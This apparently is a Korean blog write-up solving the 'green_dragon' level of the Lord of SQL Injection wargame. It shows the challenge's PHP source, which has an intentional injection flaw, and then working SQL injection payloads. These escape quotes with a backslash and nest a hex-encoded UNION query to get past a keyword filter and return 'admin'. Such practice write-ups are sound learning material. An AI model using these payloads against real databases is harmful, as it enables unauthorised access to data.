green_dragon
녹색 용용이
소스를 보자.
쿼리를 두 번 실행한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
|
cs |
id와 pw값을 받아서 쿼리를 실행한 후에 결과값이 있으면
결과값의 id와 pw를 이용해서 쿼리를 실행하고 id가 admin이면 문제가 풀린다.
\을 이용해서 '을 우회해보았다.
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=admin\&pw=or%20id=0x61646d696e%23
query : select id,pw from prob_green_dragon where id='admin\' and pw='or id=0x61646d696e#'
흠.. 반응이 없다.
아에 prob_green_dragon 테이블에 값이 없는 것으로 보인다.
union으로 결과를 합쳐주면 된다.
https://www.w3schools.com/sql/sql_union.asp
SQL UNION Operator
SQL UNION Operator The SQL UNION Operator The UNION operator is used to combine the result-set of two or more SELECT statements. Each SELECT statement within UNION must have the same number of columns The columns must also have similar data types The colum
www.w3schools.com
?id=\&pw=%20union%20select%201,2%23
query : select id,pw from prob_green_dragon where id='admin\' and pw=' union select 1,2#'
query2 : select id from prob_green_dragon where id='1' and pw='2'
query2까지 잘 나온다.
이제 query2에서 admin이 나오도록 우회를 시도하면 된다.
query2를 where id='\' and pw='union select 0x61646d696e#'
으로 만들어주면 된다.
id에는 \가 들어가야되고 pw에는 union select 0x61646d696e#이 들어가야 한다.
https://www.branah.com/ascii-converter
ASCII Converter - Hex, decimal, binary, base64, and ASCII converter
Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.
www.branah.com
여기서 hex값으로 바꿔서 넣어주자.Convert white space characters 에 체크, Remove 0x에 체크하고
나온 hex값 앞에 0x를 붙여주면 된다.
최종 url
?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [blue_dragon] 풀이 (0) | 2019.12.05 |
---|---|
LORD OF SQL INJECTION [red_dragon] 풀이 (0) | 2019.11.19 |
LORD OF SQL INJECTION [evil_wizard] 풀이 (0) | 2019.11.17 |
LORD OF SQL INJECTION [hell_fire] 풀이 (0) | 2019.11.16 |
LORD OF SQL INJECTION [dark_eyes] 풀이 (0) | 2019.11.15 |